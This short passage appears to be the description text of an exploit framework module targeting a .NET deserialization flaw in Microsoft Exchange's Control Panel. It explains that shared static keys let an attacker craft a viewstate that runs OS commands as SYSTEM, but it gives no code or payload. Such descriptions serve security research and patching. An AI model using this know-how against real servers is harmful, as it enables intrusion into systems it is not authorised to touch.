          This module exploits a .NET serialization vulnerability in the
          Exchange Control Panel (ECP) web page. The vulnerability is due to
          Microsoft Exchange Server not randomizing the keys on a
          per-installation basis resulting in them using the same validationKey
          and decryptionKey values. With knowledge of these, values an attacker
          can craft a special viewstate to cause an OS command to be executed
          by NT_AUTHORITY\SYSTEM using .NET deserialization.
